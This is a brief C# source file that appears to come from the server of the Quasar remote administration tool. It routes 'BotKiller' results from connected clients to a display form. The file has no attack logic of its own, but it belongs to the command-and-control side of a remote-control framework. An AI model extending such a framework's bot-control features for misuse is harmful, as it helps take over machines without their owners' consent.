using Quasar.Common.Messages;
using Quasar.Common.Networking;
using Quasar.Server.Forms;
using Quasar.Server.Networking;

namespace Quasar.Server.Messages
{
    public class BotKillerHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is BotKillerResult;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case BotKillerResult result:
                    Execute((Client)sender, result);
                    break;
            }
        }

        private void Execute(Client client, BotKillerResult result)
        {
            FrmBotKiller.Instance?.AddResult(client, result);
        }
    }
}
